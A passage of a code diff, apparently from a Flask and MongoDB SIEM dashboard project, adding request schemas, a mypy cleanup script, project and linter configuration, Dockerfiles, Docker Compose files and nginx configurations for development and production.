conditions: dict[str, Any] | None = None
|
||||
severity: Severity | None = None
|
||||
enabled: bool | None = None
|
||||
mitre_tactic: str | None = None
|
||||
mitre_technique: str | None = None
|
||||
|
||||
|
||||
class RuleTestRequest(BaseModel):
|
||||
"""
|
||||
Schema for testing a rule against historical events
|
||||
"""
|
||||
hours: int = Field(
|
||||
default=settings.TIMELINE_DEFAULT_HOURS,
|
||||
ge=1,
|
||||
le=settings.RULE_TEST_MAX_HOURS,
|
||||
)
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
scenario.py
|
||||
"""
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
class ScenarioStartRequest(BaseModel):
|
||||
"""
|
||||
Request to start a scenario playbook by filename
|
||||
"""
|
||||
filename: str = Field(min_length = 1)
|
||||
|
||||
|
||||
class SpeedRequest(BaseModel):
|
||||
"""
|
||||
Request to adjust scenario playback speed
|
||||
"""
|
||||
speed: float = Field(
|
||||
ge = settings.SCENARIO_MIN_SPEED,
|
||||
le = settings.SCENARIO_MAX_SPEED,
|
||||
)
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
fix_mypy.py
|
||||
"""
|
||||
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
def remove_unused_ignores(file_path: Path, lines_with_unused: list[int]) -> None:
|
||||
"""Remove unused type: ignore comments from specific lines"""
|
||||
with open(file_path) as f:
|
||||
lines = f.readlines()
|
||||
|
||||
for line_num in lines_with_unused:
|
||||
idx = line_num - 1
|
||||
if idx < len(lines):
|
||||
line = lines[idx]
|
||||
line = re.sub(r' # type: ignore\[no-untyped-call\]', '', line)
|
||||
line = re.sub(r' # type: ignore\[no-any-return\]', '', line)
|
||||
line = re.sub(r' # type: ignore\[attr-defined\]', '', line)
|
||||
line = re.sub(r' # type: ignore\[no-untyped-call, no-any-return\]', '', line)
|
||||
line = re.sub(r' # type: ignore', '', line)
|
||||
lines[idx] = line
|
||||
|
||||
with open(file_path, 'w') as f:
|
||||
f.writelines(lines)
|
||||
|
||||
# Clean up User.py
|
||||
remove_unused_ignores(
|
||||
Path("app/models/User.py"),
|
||||
[57, 64, 71, 78, 97, 109, 117, 127, 135, 142, 149, 155]
|
||||
)
|
||||
|
||||
# Clean up ScenarioRun.py
|
||||
remove_unused_ignores(
|
||||
Path("app/models/ScenarioRun.py"),
|
||||
[63, 71, 80, 81, 89, 97, 104, 111, 120, 127]
|
||||
)
|
||||
|
||||
# Clean up LogEvent.py
|
||||
remove_unused_ignores(
|
||||
Path("app/models/LogEvent.py"),
|
||||
[100, 113, 156, 163, 170, 217, 241, 280]
|
||||
)
|
||||
|
||||
# Clean up CorrelationRule.py
|
||||
remove_unused_ignores(
|
||||
Path("app/models/CorrelationRule.py"),
|
||||
[58]
|
||||
)
|
||||
|
||||
# Clean up Alert.py
|
||||
remove_unused_ignores(
|
||||
Path("app/models/Alert.py"),
|
||||
[88, 125, 132]
|
||||
)
|
||||
|
||||
# Clean up scenario_ctrl.py
|
||||
remove_unused_ignores(
|
||||
Path("app/controllers/scenario_ctrl.py"),
|
||||
[43, 53, 63, 74]
|
||||
)
|
||||
|
||||
# Clean up rule_ctrl.py
|
||||
remove_unused_ignores(
|
||||
Path("app/controllers/rule_ctrl.py"),
|
||||
[23, 48, 61, 70]
|
||||
)
|
||||
|
||||
print("Removed unused type: ignore comments")
|
||||
|
|
@ -0,0 +1,269 @@
|
|||
[project]
|
||||
name = "siem-dashboard"
|
||||
version = "0.1.0"
|
||||
description = "Flask MongoDB SIEM Dashboard"
|
||||
requires-python = ">3.14"
|
||||
dependencies = [
|
||||
"flask>=3.1.2",
|
||||
"flask-cors>=6.0.2",
|
||||
"mongoengine>=0.29.1",
|
||||
"pydantic[email]>=2.12.5,<3.0.0",
|
||||
"pydantic-settings>=2.12.0,<3.0.0",
|
||||
"pyjwt>=2.11.0",
|
||||
"pwdlib[argon2]>=0.3.0,<0.4.0",
|
||||
"uuid6>=2025.0.1,<2026.0.0",
|
||||
"redis>=7.1.0,<8.0.0",
|
||||
"flask-limiter>=3.12,<4.0.0",
|
||||
"structlog>=25.5.0,<26.0.0",
|
||||
"pyyaml>=6.0.3",
|
||||
"gunicorn>=25.0.3",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = [
|
||||
"pytest>=9.0.2,<10.0.0",
|
||||
"pytest-cov>=7.0.0,<8.0.0",
|
||||
"mypy>=1.19.1",
|
||||
"types-redis>=4.6.0.20241004,<5.0.0",
|
||||
"types-flask-cors>=6.0.0.20250809",
|
||||
"ruff>=0.15.0",
|
||||
"ty>=0.0.15",
|
||||
"pre-commit>=4.5.1",
|
||||
"pylint>=4.0.4,<5.0.0",
|
||||
"pylint-pydantic>=0.4.1,<0.5.0",
|
||||
"pylint-per-file-ignores>=3.2.0,<4.0.0",
|
||||
]
|
||||
|
||||
[build-system]
|
||||
requires = [
|
||||
"hatchling",
|
||||
]
|
||||
build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = [
|
||||
"app",
|
||||
]
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py314"
|
||||
line-length = 88
|
||||
src = [
|
||||
"app",
|
||||
]
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E",
|
||||
"W",
|
||||
"F",
|
||||
"B",
|
||||
"C4",
|
||||
"UP",
|
||||
"ARG",
|
||||
"SIM",
|
||||
"PTH",
|
||||
"RUF",
|
||||
"S",
|
||||
"N",
|
||||
]
|
||||
ignore = [
|
||||
"E501",
|
||||
"B008",
|
||||
"S101",
|
||||
"S104",
|
||||
"S105",
|
||||
"ARG001",
|
||||
"E712",
|
||||
"N999",
|
||||
"N818",
|
||||
"UP046",
|
||||
"RUF005",
|
||||
]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
"tests/**/*.py" = [
|
||||
"S101",
|
||||
"ARG001",
|
||||
]
|
||||
"conftest.py" = [
|
||||
"S107",
|
||||
]
|
||||
|
||||
[tool.mypy]
|
||||
python_version = "3.14"
|
||||
strict = true
|
||||
warn_return_any = true
|
||||
warn_unused_ignores = false
|
||||
disallow_untyped_defs = true
|
||||
disallow_incomplete_defs = true
|
||||
plugins = [
|
||||
"pydantic.mypy",
|
||||
]
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = [
|
||||
"tests.*",
|
||||
"conftest",
|
||||
]
|
||||
ignore_errors = true
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = [
|
||||
"uuid6",
|
||||
"structlog",
|
||||
"structlog.*",
|
||||
"flask_limiter",
|
||||
"flask_limiter.*",
|
||||
"pwdlib",
|
||||
"mongoengine",
|
||||
"mongoengine.*",
|
||||
"yaml",
|
||||
]
|
||||
ignore_missing_imports = true
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = [
|
||||
"app.config",
|
||||
]
|
||||
implicit_reexport = true
|
||||
|
||||
[tool.pydantic-mypy]
|
||||
init_forbid_extra = true
|
||||
init_typed = true
|
||||
warn_required_dynamic_aliases = true
|
||||
|
||||
[tool.pylint.main]
|
||||
py-version = "3.14"
|
||||
jobs = 4
|
||||
load-plugins = [
|
||||
"pylint_pydantic",
|
||||
"pylint_per_file_ignores",
|
||||
]
|
||||
persistent = true
|
||||
suggestion-mode = true
|
||||
ignore = [
|
||||
"venv",
|
||||
".venv",
|
||||
"__pycache__",
|
||||
"build",
|
||||
"dist",
|
||||
".git",
|
||||
".pytest_cache",
|
||||
".mypy_cache",
|
||||
".ruff_cache",
|
||||
]
|
||||
ignore-paths = [
|
||||
"^venv/.*",
|
||||
"^.venv/.*",
|
||||
"^build/.*",
|
||||
"^dist/.*",
|
||||
]
|
||||
|
||||
[tool.pylint.messages_control]
|
||||
disable = [
|
||||
"C0103",
|
||||
"C0116",
|
||||
"C0121",
|
||||
"C0301",
|
||||
"C0302",
|
||||
"C0303",
|
||||
"C0304",
|
||||
"C0305",
|
||||
"C0411",
|
||||
"E0401",
|
||||
"E1102",
|
||||
"E1136",
|
||||
"R0801",
|
||||
"R0901",
|
||||
"R0903",
|
||||
"R0917",
|
||||
"W0611",
|
||||
"W0612",
|
||||
"W0613",
|
||||
"W0621",
|
||||
"W0622",
|
||||
"W0718",
|
||||
]
|
||||
|
||||
[tool.pylint.pylint-per-file-ignores]
|
||||
"conftest.py" = "import-outside-toplevel"
|
||||
|
||||
[tool.pylint.format]
|
||||
max-line-length = 95
|
||||
|
||||
[tool.pylint.design]
|
||||
max-args = 12
|
||||
max-attributes = 10
|
||||
max-branches = 15
|
||||
max-locals = 20
|
||||
max-statements = 55
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
testpaths = [
|
||||
"tests",
|
||||
]
|
||||
addopts = "-ra -q"
|
||||
filterwarnings = [
|
||||
"ignore::DeprecationWarning",
|
||||
]
|
||||
|
||||
[tool.coverage.run]
|
||||
branch = true
|
||||
source = [
|
||||
"app",
|
||||
]
|
||||
|
||||
[tool.coverage.report]
|
||||
exclude_lines = [
|
||||
"pragma: no cover",
|
||||
"if TYPE_CHECKING:",
|
||||
"raise NotImplementedError",
|
||||
]
|
||||
|
||||
[tool.ty.src]
|
||||
include = [
|
||||
"app",
|
||||
"tests",
|
||||
]
|
||||
exclude = [
|
||||
".venv/**",
|
||||
]
|
||||
respect-ignore-files = true
|
||||
|
||||
[tool.ty.environment]
|
||||
python-version = "3.12"
|
||||
root = [
|
||||
"./app",
|
||||
]
|
||||
python = "./.venv"
|
||||
|
||||
[tool.ty.rules]
|
||||
possibly-missing-attribute = "error"
|
||||
possibly-missing-import = "error"
|
||||
unused-ignore-comment = "warn"
|
||||
redundant-cast = "warn"
|
||||
undefined-reveal = "warn"
|
||||
|
||||
[[tool.ty.overrides]]
|
||||
include = [
|
||||
"tests/**",
|
||||
]
|
||||
|
||||
[tool.ty.overrides.rules]
|
||||
unresolved-reference = "warn"
|
||||
invalid-argument-type = "warn"
|
||||
|
||||
[[tool.ty.overrides]]
|
||||
include = [
|
||||
"app/controllers/**",
|
||||
"app/engine/**",
|
||||
"app/scenarios/**",
|
||||
]
|
||||
|
||||
[tool.ty.overrides.rules]
|
||||
unresolved-attribute = "warn"
|
||||
|
||||
[tool.ty.terminal]
|
||||
error-on-warning = false
|
||||
output-format = "full"
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
wsgi.py
|
||||
"""
|
||||
|
||||
from app import create_app
|
||||
|
||||
|
||||
app = create_app()
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# ©AngelaMos | 2026
|
||||
# cloudflared.compose.yml
|
||||
|
||||
services:
|
||||
cloudflared:
|
||||
image: cloudflare/cloudflared:latest
|
||||
container_name: ${APP_NAME:-siem}-tunnel
|
||||
command: tunnel run --token ${CLOUDFLARE_TUNNEL_TOKEN}
|
||||
networks:
|
||||
- backend
|
||||
depends_on:
|
||||
nginx:
|
||||
condition: service_started
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '0.5'
|
||||
memory: 128M
|
||||
reservations:
|
||||
cpus: '0.1'
|
||||
memory: 32M
|
||||
restart: unless-stopped
|
||||
|
|
@ -0,0 +1,129 @@
|
|||
# ©AngelaMos | 2026
|
||||
# compose.yml
|
||||
|
||||
name: ${APP_NAME:-siem}
|
||||
|
||||
services:
|
||||
nginx:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/prod/vite.docker
|
||||
container_name: ${APP_NAME:-siem}-nginx
|
||||
ports:
|
||||
- "${NGINX_HOST_PORT:-8431}:80"
|
||||
volumes:
|
||||
- ./conf/nginx/nginx.prod.conf:/etc/nginx/nginx.conf:ro
|
||||
- ./conf/nginx/prod.nginx:/etc/nginx/conf.d/default.conf:ro
|
||||
depends_on:
|
||||
backend:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- frontend
|
||||
- backend
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '1.0'
|
||||
memory: 256M
|
||||
reservations:
|
||||
cpus: '0.25'
|
||||
memory: 64M
|
||||
restart: unless-stopped
|
||||
|
||||
backend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/prod/flask.docker
|
||||
container_name: ${APP_NAME:-siem}-backend
|
||||
expose:
|
||||
- "5000"
|
||||
env_file:
|
||||
- .env
|
||||
environment:
|
||||
- MONGO_URI=mongodb://mongo:27017/${MONGO_DB:-siem}
|
||||
- REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0
|
||||
- DEBUG=false
|
||||
depends_on:
|
||||
mongo:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- backend
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '2.0'
|
||||
memory: 1G
|
||||
reservations:
|
||||
cpus: '0.5'
|
||||
memory: 256M
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-sf", "http://localhost:5000/health"]
|
||||
interval: 30s
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 40s
|
||||
restart: unless-stopped
|
||||
|
||||
mongo:
|
||||
image: mongo:8.0
|
||||
container_name: ${APP_NAME:-siem}-mongo
|
||||
volumes:
|
||||
- mongo_data:/data/db
|
||||
networks:
|
||||
- backend
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '1.0'
|
||||
memory: 512M
|
||||
reservations:
|
||||
cpus: '0.25'
|
||||
memory: 128M
|
||||
healthcheck:
|
||||
test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 30s
|
||||
restart: unless-stopped
|
||||
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: ${APP_NAME:-siem}-redis
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
command: redis-server --appendonly yes ${REDIS_PASSWORD:+--requirepass ${REDIS_PASSWORD}}
|
||||
networks:
|
||||
- backend
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '0.5'
|
||||
memory: 256M
|
||||
reservations:
|
||||
cpus: '0.1'
|
||||
memory: 64M
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "redis-cli ${REDIS_PASSWORD:+-a ${REDIS_PASSWORD}} ping"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
frontend:
|
||||
driver: bridge
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.202.83.0/24
|
||||
backend:
|
||||
driver: bridge
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.202.84.0/24
|
||||
|
||||
volumes:
|
||||
mongo_data:
|
||||
redis_data:
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# ©AngelaMos | 2026
|
||||
# flask.docker
|
||||
|
||||
FROM python:3.14-slim
|
||||
|
||||
ENV PYTHONUNBUFFERED=1 \
|
||||
PYTHONDONTWRITEBYTECODE=1 \
|
||||
UV_SYSTEM_PYTHON=1
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
curl \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN pip install uv
|
||||
|
||||
COPY backend/pyproject.toml .
|
||||
|
||||
RUN uv pip install -e ".[dev]"
|
||||
|
||||
COPY backend/ .
|
||||
|
||||
EXPOSE 5000
|
||||
|
||||
CMD ["flask", "run", "--host", "0.0.0.0", "--port", "5000", "--reload"]
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
# ©AngelaMos | 2026
|
||||
# vite.docker
|
||||
|
||||
FROM node:24-alpine
|
||||
|
||||
RUN corepack enable && corepack prepare pnpm@latest --activate
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ENV CI=true
|
||||
|
||||
EXPOSE 5173
|
||||
|
||||
CMD ["sh", "-c", "pnpm install && pnpm dev --host 0.0.0.0"]
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
# ©AngelaMos | 2026
|
||||
# flask.docker
|
||||
|
||||
FROM python:3.14-slim
|
||||
|
||||
ENV PYTHONUNBUFFERED=1 \
|
||||
PYTHONDONTWRITEBYTECODE=1 \
|
||||
UV_SYSTEM_PYTHON=1
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
curl \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN pip install uv
|
||||
|
||||
COPY backend/pyproject.toml .
|
||||
|
||||
RUN uv pip install .
|
||||
|
||||
COPY backend/ .
|
||||
|
||||
RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app
|
||||
USER appuser
|
||||
|
||||
EXPOSE 5000
|
||||
|
||||
CMD ["gunicorn", "wsgi:app", \
|
||||
"--workers", "4", \
|
||||
"--bind", "0.0.0.0:5000", \
|
||||
"--access-logfile", "-", \
|
||||
"--error-logfile", "-"]
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# ©AngelaMos | 2026
|
||||
# vite.docker
|
||||
|
||||
FROM node:24-alpine AS build
|
||||
|
||||
RUN corepack enable && corepack prepare pnpm@latest --activate
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY frontend/package.json frontend/pnpm-lock.yaml* ./
|
||||
|
||||
RUN pnpm install --frozen-lockfile || pnpm install
|
||||
|
||||
COPY frontend/ .
|
||||
|
||||
RUN pnpm build
|
||||
|
||||
FROM nginx:alpine
|
||||
|
||||
COPY conf/nginx/prod.nginx /etc/nginx/conf.d/default.conf
|
||||
COPY --from=build /app/dist /usr/share/nginx/html
|
||||
|
||||
EXPOSE 80
|
||||
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
# ©AngelaMos | 2026
|
||||
# dev.nginx
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name _;
|
||||
|
||||
access_log /var/log/nginx/access.log main_timed;
|
||||
error_log /var/log/nginx/error.log debug;
|
||||
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
|
||||
|
||||
location /health {
|
||||
access_log off;
|
||||
return 200 "1";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
|
||||
location ~ ^/api(/v1/(logs|alerts)/stream.*) {
|
||||
rewrite ^/api(/.*)$ $1 break;
|
||||
proxy_pass http://backend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_buffering off;
|
||||
proxy_cache off;
|
||||
proxy_read_timeout 3600s;
|
||||
proxy_send_timeout 3600s;
|
||||
chunked_transfer_encoding off;
|
||||
}
|
||||
|
||||
location /api/ {
|
||||
limit_req zone=api_limit burst=50 nodelay;
|
||||
limit_conn conn_limit 20;
|
||||
|
||||
proxy_pass http://backend/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_buffering off;
|
||||
proxy_request_buffering off;
|
||||
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
}
|
||||
|
||||
location / {
|
||||
proxy_pass http://frontend_dev;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $connection_upgrade;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
|
||||
proxy_read_timeout 60s;
|
||||
proxy_buffering off;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
# ©AngelaMos | 2026
|
||||
# nginx.conf
|
||||
|
||||
worker_processes auto;
|
||||
worker_rlimit_nofile 65535;
|
||||
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 4096;
|
||||
multi_accept on;
|
||||
use epoll;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
map $http_upgrade $connection_upgrade {
|
||||
default upgrade;
|
||||
'' close;
|
||||
}
|
||||
|
||||
upstream backend {
|
||||
server backend:5000 max_fails=3 fail_timeout=30s;
|
||||
keepalive 32;
|
||||
keepalive_requests 1000;
|
||||
keepalive_timeout 60s;
|
||||
}
|
||||
|
||||
upstream frontend_dev {
|
||||
server frontend:5173;
|
||||
keepalive 8;
|
||||
}
|
||||
|
||||
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
|
||||
limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=3r/s;
|
||||
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
|
||||
limit_req_status 429;
|
||||
|
||||
log_format main_timed '$remote_addr - $remote_user [$time_local] '
|
||||
'"$request" $status $body_bytes_sent '
|
||||
'"$http_referer" "$http_user_agent" '
|
||||
'rt=$request_time uct="$upstream_connect_time" '
|
||||
'uht="$upstream_header_time" urt="$upstream_response_time"';
|
||||
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
client_body_buffer_size 128k;
|
||||
client_header_buffer_size 16k;
|
||||
client_max_body_size 10m;
|
||||
large_client_header_buffers 4 16k;
|
||||
|
||||
client_body_timeout 12s;
|
||||
client_header_timeout 12s;
|
||||
send_timeout 10s;
|
||||
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_proxied any;
|
||||
gzip_comp_level 6;
|
||||
gzip_min_length 256;
|
||||
gzip_types
|
||||
text/plain
|
||||
text/css
|
||||
text/xml
|
||||
text/javascript
|
||||
application/json
|
||||
application/javascript
|
||||
application/xml+rss
|
||||
application/atom+xml
|
||||
image/svg+xml;
|
||||
gzip_disable "msie6";
|
||||
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
}
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
# ©AngelaMos | 2026
|
||||
# nginx.prod.conf
|
||||
|
||||
worker_processes auto;
|
||||
worker_rlimit_nofile 65535;
|
||||
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 4096;
|
||||
multi_accept on;
|
||||
use epoll;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
upstream backend {
|
||||
server backend:5000 max_fails=3 fail_timeout=30s;
|
||||
keepalive 32;
|
||||
keepalive_requests 1000;
|
||||
keepalive_timeout 60s;
|
||||
}
|
||||
|
||||
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
|
||||
limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=3r/s;
|
||||
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
|
||||
limit_req_status 429;
|
||||
|
||||
log_format main_timed '$remote_addr - $remote_user [$time_local] '
|
||||
'"$request" $status $body_bytes_sent '
|
||||
'"$http_referer" "$http_user_agent" '
|
||||
'rt=$request_time uct="$upstream_connect_time" '
|
||||
'uht="$upstream_header_time" urt="$upstream_response_time"';
|
||||
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
client_body_buffer_size 128k;
|
||||
client_header_buffer_size 16k;
|
||||
client_max_body_size 10m;
|
||||
large_client_header_buffers 4 16k;
|
||||
|
||||
client_body_timeout 12s;
|
||||
client_header_timeout 12s;
|
||||
send_timeout 10s;
|
||||
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_proxied any;
|
||||
gzip_comp_level 6;
|
||||
gzip_min_length 256;
|
||||
gzip_types
|
||||
text/plain
|
||||
text/css
|
||||
text/xml
|
||||
text/javascript
|
||||
application/json
|
||||
application/javascript
|
||||
application/xml+rss
|
||||
application/atom+xml
|
||||
image/svg+xml;
|
||||
gzip_disable "msie6";
|
||||
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
}
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
# ©AngelaMos | 2026
|
||||
# prod.nginx
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name _;
|
||||
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
|
||||
access_log /var/log/nginx/access.log main_timed buffer=32k flush=5s;
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
|
||||
|
||||
location /health {
|
||||
access_log off;
|
||||
return 200 "1";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
|
||||
location ~ ^/api(/v1/(logs|alerts)/stream.*) {
|
||||
rewrite ^/api(/.*)$ $1 break;
|
||||
proxy_pass http://backend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_buffering off;
|
||||
proxy_cache off;
|
||||
proxy_read_timeout 3600s;
|
||||
proxy_send_timeout 3600s;
|
||||
chunked_transfer_encoding off;
|
||||
}
|
||||
|
||||
location /api/ {
|
||||
limit_req zone=api_limit burst=20 nodelay;
|
||||
limit_conn conn_limit 50;
|
||||
|
||||
proxy_pass http://backend/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_buffering on;
|
||||
proxy_buffers 8 32k;
|
||||
proxy_buffer_size 4k;
|
||||
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 30s;
|
||||
proxy_read_timeout 30s;
|
||||
}
|
||||
|
||||
location /assets/ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
try_files $uri =404;
|
||||
}
|
||||
|
||||
location ~* \.(jpg|jpeg|png|gif|ico|svg|webp|avif|woff|woff2|ttf|eot|otf)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
}
|
||||
|
||||
location / {
|
||||
add_header Cache-Control "no-cache, must-revalidate";
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
|
||||
location ~ /\. {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,119 @@
|
|||
# ©AngelaMos | 2026
|
||||
# dev.compose.yml
|
||||
|
||||
name: ${APP_NAME:-siem}-dev
|
||||
|
||||
services:
|
||||
nginx:
|
||||
image: nginx:1.27-alpine
|
||||
container_name: ${APP_NAME:-siem}-nginx-dev
|
||||
ports:
|
||||
- "${NGINX_HOST_PORT:-8431}:80"
|
||||
volumes:
|
||||
- ./conf/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
- ./conf/nginx/dev.nginx:/etc/nginx/conf.d/default.conf:ro
|
||||
depends_on:
|
||||
backend:
|
||||
condition: service_healthy
|
||||
frontend:
|
||||
condition: service_started
|
||||
networks:
|
||||
- frontend
|
||||
- backend
|
||||
restart: unless-stopped
|
||||
|
||||
backend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/dev/flask.docker
|
||||
container_name: ${APP_NAME:-siem}-backend-dev
|
||||
ports:
|
||||
- "${BACKEND_HOST_PORT:-5113}:5000"
|
||||
volumes:
|
||||
- ./backend:/app
|
||||
env_file:
|
||||
- .env
|
||||
environment:
|
||||
- FLASK_APP=wsgi:app
|
||||
- FLASK_DEBUG=1
|
||||
- MONGO_URI=mongodb://mongo:27017/${MONGO_DB:-siem}
|
||||
- REDIS_URL=redis://redis:6379/0
|
||||
depends_on:
|
||||
mongo:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- backend
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-sf", "http://localhost:5000/health"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 30s
|
||||
restart: unless-stopped
|
||||
|
||||
frontend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/dev/vite.docker
|
||||
container_name: ${APP_NAME:-siem}-frontend-dev
|
